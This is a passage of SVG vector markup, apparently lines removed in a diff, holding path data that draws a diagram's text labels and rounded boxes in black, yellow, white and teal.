C50.4572867,161.662617 51.3895767,161.2772 52.53541,161.2772 C53.6395767,161.2772 54.54062,161.65741 55.23854,162.41783 C55.9468733,163.16783 56.30104,164.22512 56.30104,165.5897 C56.30104,165.673033 56.30104,165.798033 56.30104,165.9647 L50.11354,165.9647 C50.1656067,166.881367 50.4208133,167.584493 50.87916,168.07408 C51.3479133,168.553247 51.92604,168.79283 52.61354,168.79283 C53.1343733,168.79283 53.57708,168.657413 53.94166,168.38658 C54.3062467,168.115747 54.5927067,167.683453 54.80104,167.0897 Z M50.19166,164.80845 L54.81666,164.80845 C54.7541933,164.110537 54.57711,163.589703 54.28541,163.24595 C53.8374967,162.704283 53.2593733,162.43345 52.55104,162.43345 C51.9052067,162.43345 51.35833,162.6522 50.91041,163.0897 C50.47291,163.516787 50.2333267,164.089703 50.19166,164.80845 Z M57.4651,167.2772 L58.85572,167.05845 C58.92864,167.62095 59.1421833,168.053243 59.49635,168.35533 C59.86093,168.646997 60.36093,168.79283 60.99635,168.79283 C61.6421833,168.79283 62.12135,168.66262 62.43385,168.4022 C62.74635,168.131367 62.9026,167.818867 62.9026,167.4647 C62.9026,167.1522 62.7671833,166.9022 62.49635,166.7147 C62.29843,166.5897 61.8192633,166.43345 61.05885,166.24595 C60.0275967,165.985537 59.3088467,165.76158 58.9026,165.57408 C58.5067667,165.37616 58.2046833,165.110533 57.99635,164.7772 C57.79843,164.443867 57.69947,164.074077 57.69947,163.66783 C57.69947,163.29283 57.7828033,162.94908 57.94947,162.63658 C58.1161367,162.32408 58.3453033,162.063663 58.63697,161.85533 C58.8557233,161.688663 59.1526,161.553247 59.5276,161.44908 C59.9130133,161.334493 60.3192633,161.2772 60.74635,161.2772 C61.4025967,161.2772 61.9755133,161.37095 62.4651,161.55845 C62.95468,161.74595 63.3140533,162.00116 63.54322,162.32408 C63.7828067,162.63658 63.9494733,163.063663 64.04322,163.60533 L62.66822,163.79283 C62.6057533,163.365743 62.4234633,163.03241 62.12135,162.79283 C61.8192633,162.553243 61.3973867,162.43345 60.85572,162.43345 C60.2098867,162.43345 59.7463467,162.542827 59.4651,162.76158 C59.1942667,162.969913 59.05885,163.214703 59.05885,163.49595 C59.05885,163.68345 59.11614,163.850117 59.23072,163.99595 C59.3453067,164.141783 59.52239,164.266783 59.76197,164.37095 C59.9078033,164.423017 60.32447,164.54281 61.01197,164.73033 C62.0015567,164.990743 62.6942667,165.209493 63.0901,165.38658 C63.4859333,165.553247 63.7932233,165.798037 64.01197,166.12095 C64.2411367,166.44387 64.35572,166.844913 64.35572,167.32408 C64.35572,167.792827 64.2150967,168.235533 63.93385,168.6522 C63.6630167,169.058453 63.2671833,169.376163 62.74635,169.60533 C62.23593,169.834497 61.6578033,169.94908 61.01197,169.94908 C59.9286367,169.94908 59.10572,169.72512 58.54322,169.2772 C57.98072,168.829287 57.6213467,168.16262 57.4651,167.2772 Z M69.0901,168.49595 L69.29322,169.74595 C68.8973867,169.829283 68.54322,169.87095 68.23072,169.87095 C67.7203067,169.87095 67.3244733,169.792827 67.04322,169.63658 C66.7619733,169.469913 66.5640567,169.25637 66.44947,168.99595 C66.33489,168.725117 66.2776,168.167827 66.2776,167.32408 L66.2776,162.55845 L65.24635,162.55845 L65.24635,161.4647 L66.2776,161.4647 L66.2776,159.4022 L67.68385,158.55845 L67.68385,161.4647 L69.0901,161.4647 L69.0901,162.55845 L67.68385,162.55845 L67.68385,167.4022 C67.68385,167.808453 67.7046833,168.06887 67.74635,168.18345 C67.7984167,168.298037 67.88175,168.391787 67.99635,168.4647 C68.11093,168.527167 68.2723867,168.5584 68.48072,168.5584 C68.6369733,168.5584 68.8401,168.537567 69.0901,168.4959 L69.0901,168.49595 Z M74.91822,172.94908 L74.91822,161.4647 L76.19947,161.4647 L76.19947,162.54283 C76.5015567,162.115743 76.8401,161.798033 77.2151,161.5897 C77.6005133,161.381367 78.0640533,161.2772 78.60572,161.2772 C79.3140533,161.2772 79.9390533,161.459493 80.48072,161.82408 C81.0223867,162.18866 81.4286367,162.704283 81.69947,163.37095 C81.9807233,164.027203 82.12135,164.751163 82.12135,165.54283 C82.12135,166.396997 81.9651,167.16262 81.6526,167.8397 C81.3505133,168.516787 80.9078033,169.03762 80.32447,169.4022 C79.7515567,169.766787 79.1421833,169.94908 78.49635,169.94908 C78.0275967,169.94908 77.60572,169.85012 77.23072,169.6522 C76.86614,169.454287 76.5640567,169.204287 76.32447,168.9022 L76.32447,172.94908 L74.91822,172.94908 Z M76.18385,165.6522 C76.18385,166.72512 76.39739,167.516787 76.82447,168.0272 C77.26197,168.53762 77.7880133,168.79283 78.4026,168.79283 C79.0276,168.79283 79.5640567,168.527203 80.01197,167.99595 C80.45989,167.464703 80.68385,166.646997 80.68385,165.54283 C80.68385,164.48033 80.4651,163.688663 80.0276,163.16783 C79.5901,162.636577 79.0692667,162.37095 78.4651,162.37095 C77.8713467,162.37095 77.3400967,162.6522 76.87135,163.2147 C76.4130167,163.7772 76.18385,164.5897 76.18385,165.6522 Z M83.81666,159.91783 L83.81666,158.30845 L85.22291,158.30845 L85.22291,159.91783 L83.81666,159.91783 Z M83.81666,169.76158 L83.81666,161.4647 L85.22291,161.4647 L85.22291,169.76158 L83.81666,169.76158 Z M87.37135,172.94908 L87.37135,161.4647 L88.6526,161.4647 L88.6526,162.54283 C88.95468,162.115743 89.29322,161.798033 89.66822,161.5897 C90.05364,161.381367 90.5171833,161.2772 91.05885,161.2772 C91.7671833,161.2772 92.3921833,161.459493 92.93385,161.82408 C93.4755167,162.18866 93.8817667,162.704283 94.1526,163.37095 C94.4338467,164.027203 94.57447,164.751163 94.57447,165.54283 C94.57447,166.396997 94.41822,167.16262 94.10572,167.8397 C93.80364,168.516787 93.3609333,169.03762 92.7776,169.4022 C92.20468,169.766787 91.5953033,169.94908 90.94947,169.94908 C90.4807233,169.94908 90.05885,169.85012 89.68385,169.6522 C89.3192633,169.454287 89.01718,169.204287 88.7776,168.9022 L88.7776,172.94908 L87.37135,172.94908 Z M88.63697,165.6522 C88.63697,166.72512 88.8505133,167.516787 89.2776,168.0272 C89.7151,168.53762 90.24114,168.79283 90.85572,168.79283 C91.48072,168.79283 92.01718,168.527203 92.4651,167.99595 C92.9130133,167.464703 93.13697,166.646997 93.13697,165.54283 C93.13697,164.48033 92.91822,163.688663 92.48072,163.16783 C92.04322,162.636577 91.5223867,162.37095 90.91822,162.37095 C90.3244733,162.37095 89.7932233,162.6522 89.32447,163.2147 C88.8661367,163.7772 88.63697,164.5897 88.63697,165.6522 Z M101.94166,167.0897 L103.39479,167.26158 C103.165623,168.115747 102.73854,168.777203 102.11354,169.24595 C101.498953,169.714703 100.712493,169.94908 99.75416,169.94908 C98.5354133,169.94908 97.5718733,169.57408 96.86354,168.82408 C96.1552067,168.07408 95.80104,167.027203 95.80104,165.68345 C95.80104,164.287617 96.1604133,163.204283 96.87916,162.43345 C97.5979133,161.662617 98.5302067,161.2772 99.67604,161.2772 C100.780207,161.2772 101.681247,161.65741 102.37916,162.41783 C103.087493,163.16783 103.44166,164.22512 103.44166,165.5897 C103.44166,165.673033 103.44166,165.798033 103.44166,165.9647 L97.25416,165.9647 C97.3062267,166.881367 97.5614367,167.584493 98.01979,168.07408 C98.4885367,168.553247 99.06666,168.79283 99.75416,168.79283 C100.274993,168.79283 100.717703,168.657413 101.08229,168.38658 C101.44687,168.115747 101.733327,167.683453 101.94166,167.0897 Z M97.33229,164.80845 L101.95729,164.80845 C101.894823,164.110537 101.71774,163.589703 101.42604,163.24595 C100.97812,162.704283 100.399993,162.43345 99.69166,162.43345 C99.0458267,162.43345 98.4989533,162.6522 98.05104,163.0897 C97.61354,163.516787 97.3739567,164.089703 97.33229,164.80845 Z M105.13697,169.76158 L105.13697,158.30845 L106.54322,158.30845 L106.54322,169.76158 L105.13697,169.76158 Z M108.72291,159.91783 L108.72291,158.30845 L110.12916,158.30845 L110.12916,159.91783 L108.72291,159.91783 Z M108.72291,169.76158 L108.72291,161.4647 L110.12916,161.4647 L110.12916,169.76158 L108.72291,169.76158 Z M112.2776,169.76158 L112.2776,161.4647 L113.54322,161.4647 L113.54322,162.63658 C114.147387,161.730327 115.027597,161.2772 116.18385,161.2772 C116.68385,161.2772 117.142183,161.365743 117.55885,161.54283 C117.975517,161.71991 118.288017,161.954283 118.49635,162.24595 C118.704683,162.537617 118.850517,162.886577 118.93385,163.29283 C118.985917,163.553243 119.01195,164.006367 119.01195,164.6522 L119.01195,169.76158 L117.6057,169.76158 L117.6057,164.7147 C117.6057,164.141787 117.54841,163.714703 117.43383,163.43345 C117.329663,163.141783 117.136953,162.912617 116.8557,162.74595 C116.584867,162.579283 116.26195,162.49595 115.88695,162.49595 C115.282783,162.49595 114.76195,162.68866 114.32445,163.07408 C113.89737,163.44908 113.68383,164.16783 113.68383,165.23033 L113.68383,169.76158 L112.2776,169.76158 Z M126.84791,167.0897 L128.30104,167.26158 C128.071873,168.115747 127.64479,168.777203 127.01979,169.24595 C126.405203,169.714703 125.618743,169.94908 124.66041,169.94908 C123.441663,169.94908 122.478123,169.57408 121.76979,168.82408 C121.061457,168.07408 120.70729,167.027203 120.70729,165.68345 C120.70729,164.287617 121.066663,163.204283 121.78541,162.43345 C122.504163,161.662617 123.436457,161.2772 124.58229,161.2772 C125.686457,161.2772 126.587497,161.65741 127.28541,162.41783 C127.993743,163.16783 128.34791,164.22512 128.34791,165.5897 C128.34791,165.673033 128.34791,165.798033 128.34791,165.9647 L122.16041,165.9647 C122.212477,166.881367 122.467687,167.584493 122.92604,168.07408 C123.394787,168.553247 123.97291,168.79283 124.66041,168.79283 C125.181243,168.79283 125.623953,168.657413 125.98854,168.38658 C126.35312,168.115747 126.639577,167.683453 126.84791,167.0897 Z M122.23854,164.80845 L126.86354,164.80845 C126.801073,164.110537 126.62399,163.589703 126.33229,163.24595 C125.88437,162.704283 125.306243,162.43345 124.59791,162.43345 C123.952077,162.43345 123.405203,162.6522 122.95729,163.0897 C122.51979,163.516787 122.280207,164.089703 122.23854,164.80845 Z" id="path9" stroke="none" fill="#000000" fill-rule="nonzero"></path>
-                    <path d="M26.4777,360.92145 L26.4777,360.92145 C26.4777,356.12906 30.36268,352.24408 35.15504,352.24408 L120.572,352.24408 C122.87339,352.24408 125.08051,353.15833 126.70783,354.78562 C128.33512,356.41294 129.24934,358.62006 129.24934,360.92145 L129.24934,395.62976 C129.24934,400.42212 125.36439,404.3071 120.572,404.3071 L35.15504,404.3071 C30.36268,404.3071 26.4777,400.42212 26.4777,395.62976 L26.4777,360.92145 Z" id="path11" stroke="none" fill="#FEC514" fill-rule="evenodd"></path>
-                    <path d="M61.5315,373.36996 L61.73462,374.61996 C61.3387867,374.703293 60.98462,374.74496 60.67212,374.74496 C60.1617067,374.74496 59.7658733,374.666833 59.48462,374.51058 C59.2033733,374.343913 59.0054567,374.130373 58.89087,373.86996 C58.77629,373.599127 58.719,373.041833 58.719,372.19808 L58.719,367.43246 L57.68775,367.43246 L57.68775,366.33871 L58.719,366.33871 L58.719,364.27621 L60.12525,363.43246 L60.12525,366.33871 L61.5315,366.33871 L61.5315,367.43246 L60.12525,367.43246 L60.12525,372.27621 C60.12525,372.682457 60.1460833,372.942873 60.18775,373.05746 C60.2398167,373.17204 60.32315,373.26579 60.43775,373.33871 C60.55233,373.401177 60.7137867,373.43241 60.92212,373.43241 C61.0783733,373.43241 61.2815,373.411577 61.5315,373.36991 L61.5315,373.36996 Z M68.32056,373.60433 C67.7997267,374.05225 67.2997267,374.36996 66.82056,374.55746 C66.3413933,374.73454 65.82577,374.82308 65.27369,374.82308 C64.3570233,374.82308 63.6538967,374.599123 63.16431,374.15121 C62.67473,373.70329 62.42994,373.13558 62.42994,372.44808 C62.42994,372.041833 62.52369,371.672043 62.71119,371.33871 C62.89869,370.994957 63.1382733,370.724123 63.42994,370.52621 C63.73202,370.317877 64.07056,370.161627 64.44556,370.05746 C64.7268133,369.98454 65.14348,369.91683 65.69556,369.85433 C66.83098,369.718917 67.6695233,369.55746 68.21119,369.36996 C68.21119,369.17204 68.21119,369.04704 68.21119,368.99496 C68.21119,368.42204 68.08098,368.020997 67.82056,367.79183 C67.45598,367.468917 66.9195233,367.30746 66.21119,367.30746 C65.5549367,367.30746 65.0653533,367.42725 64.74244,367.66683 C64.42994,367.895997 64.2007733,368.302247 64.05494,368.88558 L62.67994,368.69808 C62.80494,368.114747 63.0080633,367.64079 63.28931,367.27621 C63.5809767,366.911623 63.9976433,366.63558 64.53931,366.44808 C65.0809767,366.250167 65.7059767,366.15121 66.41431,366.15121 C67.1226433,366.15121 67.69556,366.234543 68.13306,366.40121 C68.58098,366.567877 68.9091067,366.77621 69.11744,367.02621 C69.3257733,367.27621 69.4716067,367.593917 69.55494,367.97933 C69.6070067,368.218917 69.63304,368.65121 69.63304,369.27621 L69.63304,371.15121 C69.63304,372.46371 69.6590733,373.291833 69.71114,373.63558 C69.7736067,373.979333 69.8933967,374.312667 70.07051,374.63558 L68.60176,374.63558 C68.4559267,374.343913 68.3621767,374.000163 68.32051,373.60433 L68.32056,373.60433 Z M68.21119,370.46371 C67.70077,370.672043 66.9351433,370.849127 65.91431,370.99496 C65.3309767,371.078293 64.91952,371.172043 64.67994,371.27621 C64.4403533,371.380377 64.2528533,371.536627 64.11744,371.74496 C63.99244,371.942873 63.92994,372.161623 63.92994,372.40121 C63.92994,372.77621 64.0705633,373.08871 64.35181,373.33871 C64.6434767,373.58871 65.0601433,373.71371 65.60181,373.71371 C66.1434767,373.71371 66.6226433,373.599127 67.03931,373.36996 C67.4663967,373.130373 67.7788967,372.802247 67.97681,372.38558 C68.1330633,372.07308 68.21119,371.60433 68.21119,370.97933 L68.21119,370.46371 Z M71.79712,374.63558 L71.79712,366.33871 L73.06275,366.33871 L73.06275,367.58871 C73.3856633,367.005377 73.6825367,366.61996 73.95337,366.43246 C74.2242033,366.24496 74.5262867,366.15121 74.85962,366.15121 C75.3283733,366.15121 75.80754,366.30225 76.29712,366.60433 L75.81275,367.90121 C75.4689967,367.70329 75.1252467,367.60433 74.7815,367.60433 C74.4794133,367.60433 74.20337,367.69808 73.95337,367.88558 C73.71379,368.062667 73.5419167,368.317877 73.43775,368.65121 C73.2814967,369.15121 73.20337,369.698083 73.20337,370.29183 L73.20337,374.63558 L71.79712,374.63558 Z M76.87525,375.32308 L78.25025,375.52621 C78.3023167,375.95329 78.4585667,376.26058 78.719,376.44808 C79.0731667,376.7085 79.5523333,376.83871 80.1565,376.83871 C80.8023333,376.83871 81.3023333,376.7085 81.6565,376.44808 C82.0106667,376.187667 82.25025,375.823083 82.37525,375.35433 C82.4481633,375.073083 82.48462,374.468917 82.48462,373.54183 C81.87004,374.270997 81.1044167,374.63558 80.18775,374.63558 C79.0419167,374.63558 78.1565,374.224123 77.5315,373.40121 C76.9065,372.57829 76.594,371.588707 76.594,370.43246 C76.594,369.640793 76.7346233,368.911627 77.01587,368.24496 C77.3075367,367.578293 77.7242033,367.062667 78.26587,366.69808 C78.8179567,366.3335 79.4585833,366.15121 80.18775,366.15121 C81.1669167,366.15121 81.9742067,366.547043 82.60962,367.33871 L82.60962,366.33871 L83.9065,366.33871 L83.9065,373.51058 C83.9065,374.802247 83.77629,375.718913 83.51587,376.26058 C83.2554567,376.802247 82.83879,377.22933 82.26587,377.54183 C81.6929567,377.85433 80.9898333,378.01058 80.1565,378.01058 C79.1669133,378.01058 78.36483,377.786623 77.75025,377.33871 C77.1460833,376.89079 76.8544167,376.218913 76.87525,375.32308 Z M78.04712,370.33871 C78.04712,371.422043 78.2606633,372.21371 78.68775,372.71371 C79.12525,373.21371 79.6669167,373.46371 80.31275,373.46371 C80.9585833,373.46371 81.50025,373.218917 81.93775,372.72933 C82.37525,372.22933 82.594,371.44808 82.594,370.38558 C82.594,369.364747 82.37004,368.599123 81.92212,368.08871 C81.4742067,367.567877 80.93254,367.30746 80.29712,367.30746 C79.67212,367.30746 79.14087,367.562667 78.70337,368.07308 C78.26587,368.5835 78.04712,369.33871 78.04712,370.33871 Z M91.71119,371.96371 L93.16431,372.13558 C92.9351433,372.989747 92.50806,373.651207 91.88306,374.11996 C91.26848,374.588707 90.4820233,374.82308 89.52369,374.82308 C88.3049367,374.82308 87.3413933,374.44808 86.63306,373.69808 C85.9247267,372.94808 85.57056,371.901207 85.57056,370.55746 C85.57056,369.161627 85.9299367,368.078293 86.64869,367.30746 C87.3674367,366.536627 88.2997267,366.15121 89.44556,366.15121 C90.5497267,366.15121 91.45077,366.531417 92.14869,367.29183 C92.8570233,368.04183 93.21119,369.099123 93.21119,370.46371 C93.21119,370.547043 93.21119,370.672043 93.21119,370.83871 L87.02369,370.83871 C87.0757567,371.755377 87.3309633,372.4585 87.78931,372.94808 C88.2580633,373.427247 88.83619,373.66683 89.52369,373.66683 C90.0445233,373.66683 90.48723,373.531413 90.85181,373.26058 C91.2163967,372.989747 91.5028567,372.557457 91.71119,371.96371 Z M87.10181,369.68246 L91.72681,369.68246 C91.6643433,368.98454 91.48726,368.463707 91.19556,368.11996 C90.7476467,367.578293 90.1695233,367.30746 89.46119,367.30746 C88.8153567,367.30746 88.26848,367.52621 87.82056,367.96371 C87.38306,368.39079 87.1434767,368.963707 87.10181,369.68246 Z M98.00025,373.36996 L98.20337,374.61996 C97.8075367,374.703293 97.45337,374.74496 97.14087,374.74496 C96.6304567,374.74496 96.2346233,374.666833 95.95337,374.51058 C95.6721233,374.343913 95.4742067,374.130373 95.35962,373.86996 C95.24504,373.599127 95.18775,373.041833 95.18775,372.19808 L95.18775,367.43246 L94.1565,367.43246 L94.1565,366.33871 L95.18775,366.33871 L95.18775,364.27621 L96.594,363.43246 L96.594,366.33871 L98.00025,366.33871 L98.00025,367.43246 L96.594,367.43246 L96.594,372.27621 C96.594,372.682457 96.6148333,372.942873 96.6565,373.05746 C96.7085667,373.17204 96.7919,373.26579 96.9065,373.33871 C97.02108,373.401177 97.1825367,373.43241 97.39087,373.43241 C97.5471233,373.43241 97.75025,373.411577 98.00025,373.36991 L98.00025,373.36996 Z" id="path13" stroke="none" fill="#FFFFFF" fill-rule="nonzero"></path>
-                    <path d="M59.80103,383.79184 L59.80103,382.18246 L61.20728,382.18246 L61.20728,383.79184 L59.80103,383.79184 Z M59.80103,393.63559 L59.80103,385.33871 L61.20728,385.33871 L61.20728,393.63559 L59.80103,393.63559 Z M63.35572,393.63559 L63.35572,385.33871 L64.62134,385.33871 L64.62134,386.51059 C65.2255067,385.604337 66.1057167,385.15121 67.26197,385.15121 C67.76197,385.15121 68.2203033,385.239753 68.63697,385.41684 C69.0536367,385.59392 69.3661367,385.828293 69.57447,386.11996 C69.7828033,386.411627 69.9286367,386.760587 70.01197,387.16684 C70.0640367,387.427253 70.09007,387.880377 70.09007,388.52621 L70.09007,393.63559 L68.68382,393.63559 L68.68382,388.58871 C68.68382,388.015797 68.62653,387.588713 68.51195,387.30746 C68.4077833,387.015793 68.2150733,386.786627 67.93382,386.61996 C67.6629867,386.453293 67.34007,386.36996 66.96507,386.36996 C66.3609033,386.36996 65.84007,386.56267 65.40257,386.94809 C64.97549,387.32309 64.76195,388.04184 64.76195,389.10434 L64.76195,393.63559 L63.35572,393.63559 Z M77.62916,393.63559 L77.62916,392.58871 C77.1083267,393.41163 76.3374933,393.82309 75.31666,393.82309 C74.6499933,393.82309 74.0406167,393.640797 73.48853,393.27621 C72.93645,392.91163 72.50416,392.401213 72.19166,391.74496 C71.8895733,391.088713 71.73853,390.338713 71.73853,389.49496 C71.73853,388.661627 71.8739467,387.911627 72.14478,387.24496 C72.4260333,386.56788 72.8427,386.052257 73.39478,385.69809 C73.9468667,385.333503 74.56666,385.15121 75.25416,385.15121 C75.75416,385.15121 76.1968667,385.255377 76.58228,385.46371 C76.9781133,385.672043 77.2958233,385.948087 77.53541,386.29184 L77.53541,382.18246 L78.94166,382.18246 L78.94166,393.63559 L77.62916,393.63559 Z M73.19166,389.49496 C73.19166,390.55746 73.4156167,391.354337 73.86353,391.88559 C74.31145,392.406423 74.8374933,392.66684 75.44166,392.66684 C76.05624,392.66684 76.5770733,392.41684 77.00416,391.91684 C77.44166,391.40642 77.66041,390.635587 77.66041,389.60434 C77.66041,388.46892 77.44166,387.635587 77.00416,387.10434 C76.56666,386.573087 76.0249933,386.30746 75.37916,386.30746 C74.75416,386.30746 74.2333267,386.56267 73.81666,387.07309 C73.3999933,387.583503 73.19166,388.390793 73.19166,389.49496 Z M86.82447,390.96371 L88.27759,391.13559 C88.0484233,391.989757 87.62134,392.651213 86.99634,393.11996 C86.38176,393.588713 85.5953033,393.82309 84.63697,393.82309 C83.4182167,393.82309 82.4546733,393.44809 81.74634,392.69809 C81.0380067,391.94809 80.68384,390.901213 80.68384,389.55746 C80.68384,388.161627 81.0432167,387.078293 81.76197,386.30746 C82.4807167,385.536627 83.4130067,385.15121 84.55884,385.15121 C85.6630067,385.15121 86.56405,385.53142 87.26197,386.29184 C87.9703033,387.04184 88.32447,388.09913 88.32447,389.46371 C88.32447,389.547043 88.32447,389.672043 88.32447,389.83871 L82.13697,389.83871 C82.1890367,390.755377 82.4442433,391.458503 82.90259,391.94809 C83.3713433,392.427257 83.94947,392.66684 84.63697,392.66684 C85.1578033,392.66684 85.60051,392.531423 85.96509,392.26059 C86.3296767,391.989757 86.6161367,391.557463 86.82447,390.96371 Z M82.21509,388.68246 L86.84009,388.68246 C86.7776233,387.984547 86.60054,387.463713 86.30884,387.11996 C85.8609267,386.578293 85.2828033,386.30746 84.57447,386.30746 C83.9286367,386.30746 83.38176,386.52621 82.93384,386.96371 C82.49634,387.390797 82.2567567,387.963713 82.21509,388.68246 Z M89.11353,393.63559 L92.14478,389.32309 L89.33228,385.33871 L91.09791,385.33871 L92.36353,387.27621 C92.6031167,387.65121 92.7958267,387.96371 92.94166,388.21371 C93.1708267,387.869963 93.3843667,387.562673 93.58228,387.29184 L94.97291,385.33871 L96.66041,385.33871 L93.78541,389.24496 L96.87916,393.63559 L95.14478,393.63559 L93.44166,391.05746 L92.98853,390.35434 L90.81666,393.63559 L89.11353,393.63559 Z" id="path15" stroke="none" fill="#FFFFFF" fill-rule="nonzero"></path>
-                    <path d="M26.4777,196.84286 L26.4777,196.84286 C26.4777,187.38279 34.14658,179.71391 43.60664,179.71391 L112.1204,179.71391 L112.1204,179.71391 C116.66327,179.71391 121.02009,181.51856 124.2324,184.73086 C127.44471,187.94316 129.24933,192.29998 129.24933,196.84286 L129.24933,304.34872 C129.24933,313.8088 121.58045,321.47769 112.1204,321.47769 L43.60664,321.47769 C34.14658,321.47769 26.4777,313.8088 26.4777,304.34872 L26.4777,196.84286 Z" id="path17" stroke="none" fill-opacity="0" fill="#000000" fill-rule="evenodd"></path>
-                    <path d="M26.4777,196.84286 L26.4777,196.84286 C26.4777,187.38279 34.14658,179.71391 43.60664,179.71391 L112.1204,179.71391 L112.1204,179.71391 C116.66327,179.71391 121.02009,181.51856 124.2324,184.73086 C127.44471,187.94316 129.24933,192.29998 129.24933,196.84286 L129.24933,304.34872 C129.24933,313.8088 121.58045,321.47769 112.1204,321.47769 L43.60664,321.47769 C34.14658,321.47769 26.4777,313.8088 26.4777,304.34872 L26.4777,196.84286 Z" id="path19" stroke="#00BFB3" stroke-width="2" fill="none" stroke-linejoin="round"></path>
-                    <path d="M59.4026,237.4558 L59.4026,236.40892 C58.8817667,237.23184 58.1109333,237.6433 57.0901,237.6433 C56.4234333,237.6433 55.8140567,237.461007 55.26197,237.09642 C54.70989,236.73184 54.2776,236.221423 53.9651,235.56517 C53.6630133,234.908923 53.51197,234.158923 53.51197,233.31517 C53.51197,232.481837 53.6473867,231.731837 53.91822,231.06517 C54.1994733,230.38809 54.61614,229.872467 55.16822,229.5183 C55.7203067,229.153713 56.3401,228.97142 57.0276,228.97142 C57.5276,228.97142 57.9703067,229.075587 58.35572,229.28392 C58.7515533,229.492253 59.0692633,229.768297 59.30885,230.11205 L59.30885,226.00267 L60.7151,226.00267 L60.7151,237.4558 L59.4026,237.4558 Z M54.9651,233.31517 C54.9651,234.37767 55.1890567,235.174547 55.63697,235.7058 C56.08489,236.226633 56.6109333,236.48705 57.2151,236.48705 C57.82968,236.48705 58.3505133,236.23705 58.7776,235.73705 C59.2151,235.22663 59.43385,234.455797 59.43385,233.42455 C59.43385,232.28913 59.2151,231.455797 58.7776,230.92455 C58.3401,230.393297 57.7984333,230.12767 57.1526,230.12767 C56.5276,230.12767 56.0067667,230.38288 55.5901,230.8933 C55.1734333,231.403713 54.9651,232.211003 54.9651,233.31517 Z M62.92604,227.61205 L62.92604,226.00267 L64.33229,226.00267 L64.33229,227.61205 L62.92604,227.61205 Z M62.92604,237.4558 L62.92604,229.15892 L64.33229,229.15892 L64.33229,237.4558 L62.92604,237.4558 Z M65.91822,234.97142 L67.30885,234.75267 C67.3817633,235.31517 67.5953033,235.747463 67.94947,236.04955 C68.3140567,236.341217 68.8140567,236.48705 69.44947,236.48705 C70.0953033,236.48705 70.57447,236.35684 70.88697,236.09642 C71.19947,235.825587 71.35572,235.513087 71.35572,235.15892 C71.35572,234.84642 71.2203033,234.59642 70.94947,234.40892 C70.7515567,234.28392 70.27239,234.12767 69.51197,233.94017 C68.4807233,233.679757 67.7619733,233.4558 67.35572,233.2683 C66.9598867,233.07038 66.6578033,232.804753 66.44947,232.47142 C66.2515567,232.138087 66.1526,231.768297 66.1526,231.36205 C66.1526,230.98705 66.2359333,230.6433 66.4026,230.3308 C66.5692667,230.0183 66.7984333,229.757883 67.0901,229.54955 C67.3088467,229.382883 67.60572,229.247467 67.98072,229.1433 C68.36614,229.028713 68.77239,228.97142 69.19947,228.97142 C69.8557233,228.97142 70.42864,229.06517 70.91822,229.25267 C71.4078067,229.44017 71.7671833,229.69538 71.99635,230.0183 C72.23593,230.3308 72.4025967,230.757883 72.49635,231.29955 L71.12135,231.48705 C71.0588833,231.059963 70.87659,230.72663 70.57447,230.48705 C70.27239,230.247463 69.8505167,230.12767 69.30885,230.12767 C68.6630167,230.12767 68.1994733,230.237047 67.91822,230.4558 C67.6473867,230.664133 67.51197,230.908923 67.51197,231.19017 C67.51197,231.37767 67.5692633,231.544337 67.68385,231.69017 C67.79843,231.836003 67.9755133,231.961003 68.2151,232.06517 C68.3609333,232.117237 68.7776,232.23703 69.4651,232.42455 C70.45468,232.684963 71.1473867,232.903713 71.54322,233.0808 C71.9390533,233.247467 72.2463467,233.492257 72.4651,233.81517 C72.6942667,234.13809 72.80885,234.539133 72.80885,235.0183 C72.80885,235.487047 72.6682233,235.929753 72.38697,236.34642 C72.1161367,236.752673 71.7203033,237.070383 71.19947,237.29955 C70.6890567,237.528717 70.1109333,237.6433 69.4651,237.6433 C68.3817667,237.6433 67.55885,237.41934 66.99635,236.97142 C66.43385,236.523507 66.0744733,235.85684 65.91822,234.97142 Z M73.91822,234.97142 L75.30885,234.75267 C75.3817633,235.31517 75.5953033,235.747463 75.94947,236.04955 C76.3140567,236.341217 76.8140567,236.48705 77.44947,236.48705 C78.0953033,236.48705 78.57447,236.35684 78.88697,236.09642 C79.19947,235.825587 79.35572,235.513087 79.35572,235.15892 C79.35572,234.84642 79.2203033,234.59642 78.94947,234.40892 C78.7515567,234.28392 78.27239,234.12767 77.51197,233.94017 C76.4807233,233.679757 75.7619733,233.4558 75.35572,233.2683 C74.9598867,233.07038 74.6578033,232.804753 74.44947,232.47142 C74.2515567,232.138087 74.1526,231.768297 74.1526,231.36205 C74.1526,230.98705 74.2359333,230.6433 74.4026,230.3308 C74.5692667,230.0183 74.7984333,229.757883 75.0901,229.54955 C75.3088467,229.382883 75.60572,229.247467 75.98072,229.1433 C76.36614,229.028713 76.77239,228.97142 77.19947,228.97142 C77.8557233,228.97142 78.42864,229.06517 78.91822,229.25267 C79.4078067,229.44017 79.7671833,229.69538 79.99635,230.0183 C80.23593,230.3308 80.4025967,230.757883 80.49635,231.29955 L79.12135,231.48705 C79.0588833,231.059963 78.87659,230.72663 78.57447,230.48705 C78.27239,230.247463 77.8505167,230.12767 77.30885,230.12767 C76.6630167,230.12767 76.1994733,230.237047 75.91822,230.4558 C75.6473867,230.664133 75.51197,230.908923 75.51197,231.19017 C75.51197,231.37767 75.5692633,231.544337 75.68385,231.69017 C75.79843,231.836003 75.9755133,231.961003 76.2151,232.06517 C76.3609333,232.117237 76.7776,232.23703 77.4651,232.42455 C78.45468,232.684963 79.1473867,232.903713 79.54322,233.0808 C79.9390533,233.247467 80.2463467,233.492257 80.4651,233.81517 C80.6942667,234.13809 80.80885,234.539133 80.80885,235.0183 C80.80885,235.487047 80.6682233,235.929753 80.38697,236.34642 C80.1161367,236.752673 79.7203033,237.070383 79.19947,237.29955 C78.6890567,237.528717 78.1109333,237.6433 77.4651,237.6433 C76.3817667,237.6433 75.55885,237.41934 74.99635,236.97142 C74.43385,236.523507 74.0744733,235.85684 73.91822,234.97142 Z M88.1526,234.78392 L89.60572,234.9558 C89.3765533,235.809967 88.94947,236.471423 88.32447,236.94017 C87.70989,237.408923 86.9234333,237.6433 85.9651,237.6433 C84.7463467,237.6433 83.7828033,237.2683 83.07447,236.5183 C82.3661367,235.7683 82.01197,234.721423 82.01197,233.37767 C82.01197,231.981837 82.3713467,230.898503 83.0901,230.12767 C83.8088467,229.356837 84.7411367,228.97142 85.88697,228.97142 C86.9911367,228.97142 87.89218,229.35163 88.5901,230.11205 C89.2984333,230.86205 89.6526,231.91934 89.6526,233.28392 C89.6526,233.367253 89.6526,233.492253 89.6526,233.65892 L83.4651,233.65892 C83.5171667,234.575587 83.7723733,235.278713 84.23072,235.7683 C84.6994733,236.247467 85.2776,236.48705 85.9651,236.48705 C86.4859333,236.48705 86.92864,236.351633 87.29322,236.0808 C87.6578067,235.809967 